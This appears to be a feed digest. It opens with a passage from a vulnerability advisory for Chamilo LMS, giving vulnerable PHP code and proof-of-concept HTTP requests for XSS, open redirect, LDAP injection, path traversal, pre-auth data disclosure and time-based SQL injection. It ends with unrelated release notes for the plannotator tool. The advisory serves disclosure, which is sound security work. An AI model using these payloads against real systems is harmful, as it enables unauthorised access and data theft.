              } catch (Exception $e) {
                  return false;
              }
          }
      
      ...
      

      Request (HTTP):

      POST /main/inc/ajax/social.ajax.php?a=read_url_with_open_graph HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 46
      
      social_wall_new_msg_main=https://www.google.fr
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 318
      Content-Type: text/html; charset=UTF-8
      
      <div class="thumbnail social-thumbnail"><div class="social-description"><a target="_blank" href="" rel="noreferrer noopener"></a><h5 class="social-title"><a target="_blank" href="" rel="noreferrer noopener">&lt;b&gt;Google&lt;/b&gt;</a></h5><a target="_blank" href="" rel="noreferrer noopener"></a>&lt;p&gt;WWW.GOOGLE.FR&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
      

      iCal Open Redirect as student (CVE-2026-61602)

      This vulnerability was identified without the help of an LLM.

      File: main/calendar/ical_export.php

      <?php
      
      ...
      
      if (empty($_GET['id'])) {
          api_not_allowed();
      }
      
      $id = explode('_', $_GET['id']);
      $type = $id[0];
      $id = $id[1];
      
      $agenda = new Agenda($type);
      if (isset($_GET['course_id'])) {
          $course_info = api_get_course_info_by_id($_GET['course_id']);
          if (!empty($course_info)) {
              $agenda->set_course($course_info);
          }
      }
      
      $event = $agenda->get_event($id);
      
      if (!empty($event)) {
      
          ...
      
          switch ($_GET['class']) {
      
              ...
      
              default:
                  header('location:'.Security::remove_XSS($_SERVER['HTTP_REFERER']));
                  exit();
          }
      } else {
          header('location:'.Security::remove_XSS($_SERVER['HTTP_REFERER']));
          exit;
      }
      

      Request (HTTP):

      GET /main/calendar/ical_export.php?id=invalid HTTP/1.1
      Host: 127.0.0.1
      Referer: https://therealcoiffeur.com/
      Cookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a
      

      Response (HTTP):

      HTTP/1.1 302 Found
      ...
      location: https://therealcoiffeur.com/
      Content-Length: 0
      Content-Type: text/html; charset=UTF-8
      

      Multiple Reflected XSS in main/extra/myStudents.php as admin

      (CVE-2026-61601)

      This vulnerability was identified without the help of an LLM.

      Via $_GET['origin']

      File: main/extra/myStudents.php

      <?php
      
      ...
      
      $export = isset($_GET['export']) ? $_GET['export'] : false;
      $sessionId = isset($_GET['id_session']) ? intval($_GET['id_session']) : 0;
      $origin = isset($_GET['origin']) ? Security::remove_XSS($_GET['origin']) : '';
      $studentId = (int) $_GET['student'];
      $coachId = isset($_GET['id_coach']) ? (int) $_GET['id_coach'] : 0;
      
      ...
      

      Request (HTTP):

      GET /main/extra/myStudents.php?student=1&origin=IVOIRE%22onfocus=%22alert(%27coiffeur%27)%22autofocus=enable%22 HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Type: text/html; charset=UTF-8
      Content-Length: 39704
      
      ...
      
      <td width="10"><a href="../main/extra/myStudents.php?student=1&details=true&course=TEST&origin=IVOIRE"onfocus="alert('coiffeur')"autofocus=enable"&id_session=0#infosStudent">
                                  <img src="http://127.0.0.1/main/img/icons/22/2rightarrow.png" alt="Details" title="Details"  /></a>&lt;/td&gt;
      
      ...
      

      Via $_GET['course']

      File: main/extra/myStudents.php

      <?php
      
      ...
      
      api_block_anonymous_users();
      $export_csv = isset($_GET['export']) && 'csv' === $_GET['export'] ? true : false;
      $course_code = isset($_GET['course']) ? Security::remove_XSS($_GET['course']) : null;
      $_course = api_get_course_info();
      $coment = '';
      
      ...
      

      Request (HTTP):

      GET /main/extra/myStudents.php?student=1&course=1337%27%22autofocus=%22enable%22onfocus=%22alert(%27coiffeur%27)%22 HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=497039b7f36b9f5d615d559365f2a342
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Type: text/html; charset=UTF-8
      Content-Length: 39704
      
      ...
      
      <img src="http://127.0.0.1/main/img/icons/32/mail_send.png" alt="Send mail" title="Send mail"  /></a><a href="access_details.php?student=1&course=1337'"autofocus="enable"onfocus="alert('coiffeur')"&origin=&cidReq=1337'"autofocus="enable"onfocus="alert('coiffeur')"&id_session=0">
          <div class="row">
      
      ...
      

      Multiple unauthorized session metadata disclosure in

      main/inc/ajax/session.ajax.php via actions session_info and get_description (pre-auth) (CVE-2026-61587)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/session.ajax.php

      ...
      
          case 'session_info':
              $sessionId = isset($_GET['session_id']) ? $_GET['session_id'] : '';
              $sessionInfo = api_get_session_info($sessionId);
      
              $extraFieldValues = new ExtraFieldValue('session');
              $extraField = new ExtraField('session');
              $values = $extraFieldValues->getAllValuesByItem($sessionId);
              $load = isset($_GET['load_empty_extra_fields']) ? true : false;
      
              if ($load) {
                  $allExtraFields = $extraField->get_all();
                  $valueList = array_column($values, 'id');
                  foreach ($allExtraFields as $extra) {
                      if (!in_array($extra['id'], $valueList)) {
                          $values[] = [
                              'id' => $extra['id'],
                              'variable' => $extra['variable'],
                              'value' => '',
                              'field_type' => $extra['field_type'],
                          ];
                      }
                  }
              }
      
              $sessionInfo['extra_fields'] = $values;
      
              if (!empty($sessionInfo)) {
                  echo json_encode($sessionInfo);
              }
              break;
          case 'get_description':
              if (isset($_GET['session'])) {
                  $sessionInfo = api_get_session_info($_GET['session']);
                  echo '<h2>'.$sessionInfo['name'].'</h2>';
                  echo '<div class="home-course-intro"><div class="page-course"><div class="page-course-intro">';
                  echo $sessionInfo['show_description'] == 1 ? $sessionInfo['description'] : get_lang('None');
                  echo '&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;';
              }
              break;
      
      ...
      

      Request (HTTP):

      GET /main/inc/ajax/session.ajax.php?a=session_info&session_id=1&load_empty_extra_fields=true HTTP/1.1
      Host: 127.0.0.1
      

      Or

      Request (HTTP):

      GET /main/inc/ajax/session.ajax.php?a=get_description&session=1 HTTP/1.1
      Host: 127.0.0.1
      

      LDAP Injection in main/admin/ldap_import_students.php as admin

      (CVE-2026-61585)

      This vulnerability was identified without the help of an LLM.

      File: main/admin/ldap_import_students.php

      <?php
      
      ...
      
      $annee = $_GET['annee'];
      $composante = $_GET['composante'];
      $etape = $_GET['etape'];
      $course = $_POST['course'];
      
      ...
      
      } elseif (!empty($annee) && !empty($course) && empty($_POST['confirmed'])) {
          // form4  annee != 0; composante != 0 etape != 0
          //elseif ($annee <> "" && $composante <> "" && $etape <> "" && $listeok != 'yes') {
          Display::display_header($tool_name);
          echo '<div style="align: center;">';
          echo '<br />';
          echo '<br />';
          echo '<h3>'.Display::return_icon('group.gif', get_lang('SelectStudents')).' '.get_lang('SelectStudents').'</h3>';
          //echo "Connection ...";
          $ds = ldap_connect($ldap_host, $ldap_port) or exit(get_lang('LDAPConnectionError'));
          ldap_set_version($ds);
      
          if ($ds) {
              $r = false;
              $res = ldap_handle_bind($ds, $r);
      
              //$sr = @ ldap_search($ds, "ou=people,$LDAPbasedn", "(|(edupersonprimaryorgunitdn=ou=$etape,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn)(edupersonprimaryorgunitdn=ou=02PEL,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn))");
              //echo "(ou=*$annee,ou=$composante)";
              $sr = @ldap_search($ds, $ldap_basedn, "(ou=*$annee)");
      
              $info = ldap_get_entries($ds, $sr);
      
              for ($key = 0; $key < $info["count"]; $key++) {
                  $nom_form[] = $info[$key]["sn"][0];
                  $prenom_form[] = $info[$key]["givenname"][0];
                  $email_form[] = $info[$key]["mail"][0];
                  // Get uid from dn
                  //$dn_array=ldap_explode_dn($info[$key]["dn"],1);
                  //$username_form[] = $dn_array[0]; // uid is first key
                  $username_form[] = $info[$key]['uid'][0];
                  $outab[] = $info[$key]["eduPersonPrimaryAffiliation"][0]; // Ici "student"
                  //$val = ldap_get_values_len($ds, $entry, "userPassword");
                  //$password_form[] = $val[0];
                  $password_form[] = $info[$key]['userPassword'][0];
              }
              ldap_unbind($ds);
              asort($nom_form);
              reset($nom_form);
      
              $statut = 5;
              include 'ldap_form_add_users_group.php';
          } else {
              echo '<h4>'.get_lang('UnableToConnectTo').' '.$host.'</h4>';
          }
          echo '<br /><br />';
          echo '<a href="ldap_import_students.php?annee=&composante=&etape=">'.get_lang('BackToNewSearch').'</a>';
          echo '<br /><br />';
          echo '&lt;/div&gt;';
      
      ...
      

      Request (HTTP):

      POST /main/admin/ldap_import_students.php?annee=IVOIRE HTTP/1.1
      Host: 127.0.0.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 11
      Cookie: ch_sid=7624fed4ee45899558b9c9e2f90e306c
      
      course=JUNK
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Type: text/html; charset=UTF-8
      Content-Length: 20103
      
      <!DOCTYPE html>
      
      ...
      

      LDAP Injection in main/admin/ldap_import_students_to_session.php as admin

      (CVE-2026-61585)

      This vulnerability was identified without the help of an LLM.

      File: main/admin/ldap_import_students_to_session.php

      <?php
      
      ...
      
      $annee = $_GET['annee'];
      $id_session = $_POST['id_session'];
      
      ...
      
      // form4  annee != 0; composante != 0 etape != 0
      //elseif ($annee <> "" && $composante <> "" && $etape <> "" && $listeok != 'yes') {
      elseif (!empty($annee) && !empty($id_session) && empty($_POST['confirmed'])) {
          Display::display_header($tool_name);
          echo '<div style="align: center;">';
          echo '<br />';
          echo '<br />';
          echo '<h3>'.Display::return_icon('group.gif', get_lang('SelectStudents')).' '.get_lang('SelectStudents').'</h3>';
          //echo "Connection ...";
          $ds = ldap_connect($ldap_host, $ldap_port) or exit(get_lang('LDAPConnectionError'));
          ldap_set_version($ds);
          if ($ds) {
              $r = false;
              $res = ldap_handle_bind($ds, $r);
      
              //$sr = @ ldap_search($ds, "ou=people,$LDAPbasedn", "(|(edupersonprimaryorgunitdn=ou=$etape,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn)(edupersonprimaryorgunitdn=ou=02PEL,ou=$annee,ou=diploma,o=Paris1,$LDAPbasedn))");
              //echo "(ou=*$annee,ou=$composante)";
              $sr = @ldap_search($ds, $ldap_basedn, "(ou=*$annee)");
      
              $info = ldap_get_entries($ds, $sr);
      
              for ($key = 0; $key < $info["count"]; $key++) {
                  $nom_form[] = $info[$key]["sn"][0];
                  $prenom_form[] = $info[$key]["givenname"][0];
                  $email_form[] = $info[$key]["mail"][0];
                  // Get uid from dn
                  //$dn_array=ldap_explode_dn($info[$key]["dn"],1);
                  //$username_form[] = $dn_array[0]; // uid is first key
                  $username_form[] = $info[$key]['uid'][0];
                  $outab[] = $info[$key]["eduPersonPrimaryAffiliation"][0]; // Ici "student"
                  //$val = ldap_get_values_len($ds, $entry, "userPassword");
                  //$password_form[] = $val[0];
                  $password_form[] = $info[$key]['userPassword'][0];
              }
              ldap_unbind($ds);
              asort($nom_form);
              reset($nom_form);
              $statut = 5;
              include 'ldap_form_add_users_group.php';
          } else {
              echo '<h4>'.get_lang('UnableToConnectTo').' '.$host.'</h4>';
          }
          echo '<br /><br />';
          echo '<a href="ldap_import_students.php?annee=">'.get_lang('BackToNewSearch').'</a>';
          echo '<br /><br />';
          echo '&lt;/div&gt;';
      
      ...
      

      Request (HTTP):

      POST /main/admin/ldap_import_students_to_session.php?annee=IVOIRE HTTP/1.1
      Host: 127.0.0.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15
      Cookie: ch_sid=7624fed4ee45899558b9c9e2f90e306c
      
      id_session=JUNK
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Type: text/html; charset=UTF-8
      Content-Length: 20124
      
      <!DOCTYPE html>
      
      ...
      

      Path Traversal and Arbitrary Folder Creation as student (CVE-2026-61584)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/record_audio_rtc.ajax.php

      <?php
      
      /* For licensing terms, see /license.txt */
      
      use ChamiloSession as Session;
      
      require_once __DIR__.'/../global.inc.php';
      
      api_block_anonymous_users();
      
      $courseInfo = api_get_course_info();
      /** @var string $tool document or exercise */
      $tool = isset($_REQUEST['tool']) ? $_REQUEST['tool'] : '';
      $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : 'document'; // can be document or message
      
      if ($type === 'document') {
          api_protect_course_script();
      }
      
      $userId = api_get_user_id();
      
      if (!isset($_FILES['audio_blob'], $_REQUEST['audio_dir'])) {
          if ($tool === 'exercise') {
              header('Content-Type: application/json');
              echo json_encode([
                  'error' => true,
                  'message' => Display::return_message(get_lang('UploadError'), 'error'),
              ]);
      
              Display::cleanFlashMessages();
              exit;
          }
      
          Display::addFlash(Display::return_message(get_lang('UploadError'), 'error'));
          exit;
      }
      
      $file = isset($_FILES['audio_blob']) ? $_FILES['audio_blob'] : [];
      $file['file'] = $file;
      $audioDir = Security::remove_XSS($_REQUEST['audio_dir']);
      
      switch ($type) {
          case 'document':
              $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$courseInfo['path'].'/document';
              $saveDir = $dirBaseDocuments.$audioDir;
              if (!is_dir($saveDir)) {
                  mkdir($saveDir, api_get_permissions_for_new_directories(), true);
              }
      
              if (empty($audioDir)) {
                  $audioDir = '/';
              }
      
              $uploadedDocument = DocumentManager::upload_document(
                  $file,
                  $audioDir,
                  $file['name'],
                  null,
                  0,
                  'overwrite',
                  false,
                  in_array($tool, ['document', 'exercise']),
                  'file',
                  true,
                  api_get_user_id(),
                  $courseInfo,
                  api_get_session_id(),
                  api_get_group_id(),
                  'exercise' === $tool
              );
              $error = empty($uploadedDocument) || !is_array($uploadedDocument);
      
              if (!$error) {
                  $newDocId = $uploadedDocument['id'];
                  $courseId = $uploadedDocument['c_id'];
      
                  /** @var learnpath $lp */
                  $lp = Session::read('oLP');
                  $lpItemId = isset($_REQUEST['lp_item_id']) && !empty($_REQUEST['lp_item_id']) ? $_REQUEST['lp_item_id'] : null;
                  if (!empty($lp) && empty($lpItemId)) {
                      $lp->set_modified_on();
      
                      $lpItem = new learnpathItem($lpItemId);
                      $lpItem->add_audio_from_documents($newDocId);
                  }
      
                  $data = DocumentManager::get_document_data_by_id($newDocId, $courseInfo['code']);
      
                  if ($tool === 'exercise') {
                      header('Content-Type: application/json');
                      echo json_encode([
                          'error' => $error,
                          'message' => Display::getFlashToString(),
                          'fileUrl' => $data['document_url'],
                      ]);
      
                      Display::cleanFlashMessages();
                      exit;
                  }
      
                  echo $data['document_url'];
              }
      
              break;
          case 'message':
              Session::write('current_audio_id', $file['name']);
              api_upload_file('audio_message', $file, api_get_user_id());
      
              break;
      }
      

      Request (HTTP):

      POST /main/inc/ajax/record_audio_rtc.ajax.php?cidReq=TESTCOURSETITLE HTTP/1.1
      Host: 127.0.0.1
      Content-Type: multipart/form-data; boundary=----BOUNDARY
      Content-Length: 267
      Cookie: ch_sid=91222307076cd80c0a44a0076e5a5879
      
      ------BOUNDARY
      Content-Disposition: form-data; name="audio_blob"; filename="xxxx.yyyy"
      Content-Type: audio/wav
      
      
      ------BOUNDARY
      Content-Disposition: form-data; name="audio_dir"
      
      /../../../../../../../../../../../../../../../../../../tmp/POC/
      ------BOUNDARY--
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 0
      Content-Type: text/html; charset=UTF-8
      

      SQL Injection in main/inc/ajax/model.ajax.php via action

      get_exercise_pending_results as admin (CVE-2026-61600)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/model.ajax.php

      ...
      
          case 'get_exercise_pending_results':
              if ((false === api_is_teacher()) && (false === api_is_session_admin())) {
                  exit;
              }
              $search_start_date = isset($_REQUEST['start_date']) && !empty($_REQUEST['start_date']) ? $_REQUEST['start_date'] : null;
              $search_end_date = isset($_REQUEST['end_date']) && !empty($_REQUEST['end_date']) ? $_REQUEST['end_date'] : null;
              $courseId = $_REQUEST['course_id'] ?? 0;
              $exerciseId = $_REQUEST['exercise_id'] ?? 0;
              $status = $_REQUEST['status'] ?? 0;
              $questionType = $_REQUEST['questionType'] ?? 0;
              $showAttemptsInSessions = $_REQUEST['showAttemptsInSessions'] ? true : false;
              if (isset($_GET['filter_by_user']) && !empty($_GET['filter_by_user'])) {
                  $filter_user = (int) $_GET['filter_by_user'];
                  if (empty($whereCondition)) {
                      $whereCondition .= " te.exe_user_id  = '$filter_user'";
                  } else {
                      $whereCondition .= " AND te.exe_user_id  = '$filter_user'";
                  }
              }
      
              if (isset($_GET['group_id_in_toolbar']) && !empty($_GET['group_id_in_toolbar'])) {
                  $groupIdFromToolbar = (int) $_GET['group_id_in_toolbar'];
                  if (!empty($groupIdFromToolbar)) {
                      if (empty($whereCondition)) {
                          $whereCondition .= " te.group_id  = '$groupIdFromToolbar'";
                      } else {
                          $whereCondition .= " AND group_id  = '$groupIdFromToolbar'";
                      }
                  }
              }
      
              if (!empty($whereCondition)) {
                  $whereCondition = " AND $whereCondition";
              }
      
              if (!empty($courseId)) {
                  $whereCondition .= " AND te.c_id = $courseId";
              }
      
              // Filtrage sur la date de fin d'exercice (exe_date)
              if (!empty($search_start_date)) {
                  $whereCondition .= " AND te.exe_date >= '".Database::escape_string($search_start_date)." 00:00:00'";
              }
              if (!empty($search_end_date)) {
                  $whereCondition .= " AND te.exe_date <= '".Database::escape_string($search_end_date)." 23:59:59'";
              }
      
              $count = ExerciseLib::get_count_exam_results(
                  $exerciseId,
                  $whereCondition,
                  '',
                  false,
                  true,
                  $status,
                  $showAttemptsInSessions,
                  $questionType,
                  true
              );
      
              break;
      ...
      

      Request (HTTP):

      GET /main/inc/ajax/model.ajax.php?a=get_exercise_pending_results&course_id=12%20OR%201=IF(%27admin%27=(SELECT%20username%20FROM%20user%20WHERE%20user_id=1),SLEEP(5),0) HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=7c6f940396d802d9bf90f8b60d807436
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 32
      Content-Type: application/json;charset=utf-8
      
      {"page":0,"total":0,"records":0}
      

      SQL Injection in main/inc/ajax/model.ajax.php via action

      get_work_pending_list as admin (CVE-2026-61600)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/model.ajax.php

      ...
      
          case 'get_work_pending_list':
              require_once api_get_path(SYS_CODE_PATH).'work/work.lib.php';
              $courseId = $_REQUEST['course'] ?? 0;
              $status = $_REQUEST['status'] ?? 0;
              if (isset($_REQUEST['work_parent_ids'])) {
                  $whereCondition = ' parent_id IN('.Security::remove_XSS($_REQUEST['work_parent_ids']).')';
              }
              $count = getAllWork(
                  null,
                  null,
                  null,
                  null,
                  $whereCondition,
                  true,
                  $courseId,
                  $status
              );
              break;
      
      ...
      

      Request (HTTP):

      GET /main/inc/ajax/model.ajax.php?a=get_work_pending_list&course_id=1&status=1&work_parent_ids=0)%20OR%20IF(1=(SELECT%20user_id%20FROM%20user%20WHERE%20user_id=1),SLEEP(10),0)%20OR%20(1=0 HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=d6668e4fd7fffd286a1fd5466e72e8b7
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Type: text/html; charset=UTF-8
      Content-Length: 11758
      
      <!DOCTYPE html>
      
      ...
      

      SQL Injection in main/inc/ajax/model.ajax.php via action

      get_exercise_results as student (CVE-2026-61600)

      This vulnerability was identified without the help of an LLM.

      File: main/inc/ajax/model.ajax.php

      // If there is no search request sent by jqgrid, $where should be empty
      $whereCondition = '';
      $operation = $_REQUEST['oper'] ?? false;
      $exportFormat = $_REQUEST['export_format'] ?? 'csv';
      $searchField = $_REQUEST['searchField'] ?? false;
      $searchOperator = $_REQUEST['searchOper'] ?? false;
      $searchString = $_REQUEST['searchString'] ?? false;
      $search = $_REQUEST['_search'] ?? false;
      $forceSearch = $_REQUEST['_force_search'] ?? false;
      $extra_fields = [];
      $accessStartDate = '';
      $accessEndDate = '';
      $overwriteColumnHeaderExport = [];
      
      $result = [];
      
      if (!empty($search)) {
          $search = 'true';
      }
      
      if (($search || $forceSearch) && ($search !== 'false')) {
          $whereCondition = ' 1 = 1 ';
          $whereConditionInForm = getWhereClause(
              $searchField,
              $searchOperator,
              $searchString
          );
      
          if (!empty($whereConditionInForm)) {
              $whereCondition .= ' AND ( ';
              $whereCondition .= '  ('.$whereConditionInForm.') ';
          }
          $filters = isset($_REQUEST['filters']) && !is_array($_REQUEST['filters']) ? json_decode($_REQUEST['filters']) : false;
          if (isset($_REQUEST['filters2'])) {
              $filters = json_decode($_REQUEST['filters2']);
          }
      
          if (!empty($filters)) {
              if (in_array($action,
                  [
                      'get_user_course_report_resumed',
                      'get_user_course_report',
                      'get_questions',
                      'get_sessions',
                      'get_sessions_tracking',
                  ]
              )) {
                  switch ($action) {
                      case 'get_user_course_report_resumed':
                      case 'get_user_course_report':
                          $type = 'user';
                          break;
                      case 'get_questions':
                          $type = 'question';
                          break;
                      case 'get_sessions':
                      case 'get_sessions_tracking':
                          $type = 'session';
                          break;
                  }
      
                  if (!empty($type)) {
                      // Extra field.
                      $extraField = new ExtraField($type);
      
                      if (is_object($filters)
                          && property_exists($filters, 'rules')
                          && is_array($filters->rules)
                          && !empty($filters->rules)
                      ) {
                          foreach ($filters->rules as $key => $data) {
                              if (empty($data)) {
                                  continue;
                              }
                              if ($data->field === 'extra_access_start_date') {
                                  $accessStartDate = $data->data;
                              }
      
                              if ($data->field === 'extra_access_end_date') {
                                  $accessEndDate = $data->data;
                              }
      
                              if (in_array($data->field, $toRemove)) {
                                  unset($filters->rules[$key]);
                              }
                          }
                      }
      
                      $result = $extraField->getExtraFieldRules($filters, 'extra_');
      
                      $extra_fields = $result['extra_fields'];
                      $condition_array = $result['condition_array'];
                      $extraCondition = '';
                      if (!empty($condition_array)) {
                          $extraCondition = $filters->groupOp.' ( ';
                          $extraCondition .= implode($filters->groupOp, $condition_array);
                          $extraCondition .= ' ) ';
                      }
                      $whereCondition .= $extraCondition;
      
                      // Question field
                      $resultQuestion = $extraField->getExtraFieldRules(
                          $filters,
                          'question_'
                      );
                      $questionFields = $resultQuestion['extra_fields'];
                      $condition_array = $resultQuestion['condition_array'];
      
                      $extraQuestionCondition = '';
                      if (!empty($condition_array)) {
                          $extraQuestionCondition = $filters->groupOp.' ( ';
                          $extraQuestionCondition .= implode($filters->groupOp, $condition_array);
                          $extraQuestionCondition .= ' ) ';
                          // Remove conditions already added
                          $extraQuestionCondition = str_replace(
                              $extraCondition,
                              '',
                              $extraQuestionCondition
                          );
                      }
      
                      $whereCondition .= $extraQuestionCondition;
                  }
              } elseif (!empty($filters->rules)) {
                  $whereCondition .= ' AND ( ';
                  $counter = 0;
                  foreach ($filters->rules as $key => $rule) {
                      $whereCondition .= getWhereClause(
                          $rule->field,
                          $rule->op,
                          $rule->data
                      );
      
                      if ($counter < count($filters->rules) - 1) {
                          $whereCondition .= $filters->groupOp;
                      }
                      $counter++;
                  }
                  $whereCondition .= ' ) ';
              }
          }
      
          if (!empty($whereConditionInForm)) {
              $whereCondition .= ' ) ';
          }
      }
      
      ...
      
          case 'get_exercise_results':
              $exercise_id = $_REQUEST['exerciseId'];
      
              if (!empty($_GET['filter_by_user'])) {
                  $filter_user = (int) $_GET['filter_by_user'];
                  if (empty($whereCondition)) {
                      $whereCondition .= " te.exe_user_id  = '$filter_user'";
                  } else {
                      $whereCondition .= " AND te.exe_user_id  = '$filter_user'";
                  }
              }
      
              if (!empty($_GET['group_id_in_toolbar'])) {
                  $groupIdFromToolbar = (int) $_GET['group_id_in_toolbar'];
                  if (!empty($groupIdFromToolbar)) {
                      if (empty($whereCondition)) {
                          $whereCondition .= " te.group_id  = '$groupIdFromToolbar'";
                      } else {
                          $whereCondition .= " AND group_id  = '$groupIdFromToolbar'";
                      }
                  }
              }
      
              if (!empty($whereCondition)) {
                  $whereCondition = " AND $whereCondition";
              }
      
              $count = ExerciseLib::get_count_exam_results($exercise_id, $whereCondition);
              break;
      
      ...
      

      Request (HTTP):

      GET /main/inc/ajax/model.ajax.php?a=get_exercise_results&exerciseId=1&_search=true&filters={%22groupOp%22:%22%20OR%20IF(%27admin%27=(SELECT%20username%20from%20user%20WHERE%20user_id=1),SLEEP(10),0)%20OR%20%22,%22rules%22:[{%22field%22:%221%22,%22op%22:%22eq%22,%22data%22:%222%22},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]} HTTP/1.1
      Host: 127.0.0.1
      Cookie: ch_sid=3bdd3b667ca945effc328606960c0ad0
      

      Response (HTTP):

      HTTP/1.1 200 OK
      ...
      Content-Length: 32
      Content-Type: application/json;charset=utf-8
      
      {"page":0,"total":0,"records":0}
      

      SQL Injection in main/work/pending.php as admin (CVE-2026-61600)

      This vulnerability was identified without the help of an LLM.

      File: main/work/pending.php

      <?php
      
      ...
      
      $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : null;
      $itemId = isset($_REQUEST['item_id']) ? (int) $_REQUEST['item_id'] : null;
      $exportXls = isset($_REQUEST['export_xls']) && !empty($_REQUEST['export_xls']) ? (int) $_REQUEST['export_xls'] : 0;
      $htmlHeadXtra[] = api_get_jquery_libraries_js(['jquery-upload']);
      
      ...
      
      $courses = CourseManager::get_courses_list_by_user_id($userId, false, false, false);
      $content = '';
      if (!empty($courses)) {
          $form = new FormValidator('pending', 'POST');
      
          ...
      
          $form->addButtonSearch(get_lang('Search'), 'pendingSubmit');
          $content .= $form->returnForm();
          $tableWork = Display::grid_html('results');
          $content .= Display::panel($tableWork);
      
          if ($form->validate()) {
              $values = $form->getSubmitValues();
              $courseId = $values['course'] ?? 0;
              if (!empty($courseId)) {
                  $url .= '&course='.(int) $courseId;
              }
      
              $status = $values['status'] ?? 0;
              if (!empty($status)) {
                  $url .= '&status='.(int) $status;
              }
              if (!empty($values['work_parent_ids'])) {
                  $url .= '&work_parent_ids='.Security::remove_XSS(implode(',', $values['work_parent_ids']));
              }
              if ($exportXls) {
                  exportPendingWorksToExcel($values);
              }
          }
      } else {
          $content .= Display::return_message(get_lang('NoCoursesForThisUser'), 'warning');
      }
      
      ...
      

      Request (HTTP):

      POST /main/work/pending.php HTTP/1.1
      Host: 127.0.0.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 94
      Cookie: ch_sid=1ff732ef8c7641c08aa8f301da0bd408
      
      work_parent_ids%5B%5D=1) AND 1=IF(1>0,SLEEP(1),0) OR parent_id IN(1&_qf__pending=&export_xls=1
      

      Response (HTTP):

      HTTP/1.1 200 OK
      Date: Sat, 28 Mar 2026 21:21:13 GMT
      ...
      Content-Disposition: attachment; filename= Students-assignments-to-be-corrected_2026-03-28-212115.xlsx
      Content-Description: Students-assignments-to-be-corrected_2026-03-28-212115.xlsx
      Content-Transfer-Encoding: binary
      Content-Type: application/octet-stream
      
      PK
      
      ...
      

    4. 🔗 backnotprop/plannotator v0.27.10 release

      Follow @plannotator on X for updates

      Missed recent releases? Release | Highlights
      ---|---
      v0.27.9 | WebMCP browser-agent tools, HTML refresh from disk, host seams, lazy renderers, Windows uninstall fix
      v0.27.8 | Pi keeps its prompt cache across plan transitions, thumbs-up returns to HTML annotation, embed picker seam
      v0.27.7 | Pi host crash fix on Windows, Call Flow tree cap, jj fork-point base, plannotator knowledge skill + llms.txt
      v0.27.6 | Live app annotation lands on Pi, one interaction model for HTML pages (same-day patch on v0.27.5)
      v0.27.5 | Annotate your running app, Agent TUI placement, collapsed lockfiles, VS Code theme fix, Pi fixes
      v0.27.4 | Portable Guided Review exports, guides.show share links, guide CLI, favicon switcher, jj Call Flow
      v0.27.3 | Folder watcher freeze fix on large repos, first SBOM-attested release pipeline
      v0.27.2 | Mobile plan and code review, Codex CLI 0.147 fix, folder annotate cold-start, configurable markdown extensions
      v0.27.1 | Open-in-editor launch fix, file headers respect Viewed/Git-add visibility toggles
      v0.27.0 | Call Flow analysis, --tailscale remote reviews, review panel remembers your view, Pi rebuild (breaking command rename), focus-mode shortcut
      v0.26.8 | Placed comment markers on HTML pages, shift-click multi-select, live app annotation
      v0.26.7 | Pinpoint targets any element on HTML pages, smarter hover labels, zero-scan hit testing

      What's New in v0.27.10

      This release brings two review features people have asked for, restores the slash commands on OpenCode 2, and fixes three reported bugs. Six PRs shipped, every one shaped by community reports and requests, and the whole set went through an adversarial 29-point QA sweep before tagging.

      Files mark themselves viewed as you scroll

      Reviewers reading the all-files diff top to bottom no longer check every file off by hand. Scroll past a file after actually reading it and it marks itself viewed; open a file, read it, and move on, and the same happens. Momentum- flicking to the bottom marks nothing: a file only counts once its content was on screen long enough to have been read, and collapsed or generated files (your lockfiles) never auto-mark from their folded headers.

      The reviewer stays in charge. Un-viewing a file is treated as "come back to this," and auto-view will never re-check it. When a diff refreshes and a file's content changed underneath its checkmark, the checkmark comes off, so a stale check can't vouch for code an agent just rewrote. The feature is on by default with a one-time notice the first moment it fires, and it can be turned off in Settings or from the gear above the file list.

      #1430

      Undo and redo for annotations

      Mod+Z / Mod+Shift+Z now work across annotation actions in plan review and code review: create, edit, and delete for comments, deletions, checkbox toggles, suggestion batches, and image annotator strokes. History is bounded, per-document, and deliberately conservative: typing in a text field keeps the browser's native undo, and comments posted by agents or external tools never enter your history, so an undo can only ever touch your own work.

      Requested by @jj-valentine in #828.

      #1426, closing #828

      Slash commands return on OpenCode 2

      OpenCode 2's plugin API originally had no way for a plugin to execute a slash command, which left /plannotator-review, /plannotator-annotate, and /plannotator-last dead on V2. Upstream shipped exactly the hook that was missing (anomalyco/opencode PR #44765), and Plannotator now uses it: on hosts with the new API the three commands run natively again, opening the UI directly with no model turn and your arguments passed through untouched. Agent switching selected in the review UI also works again on those hosts.

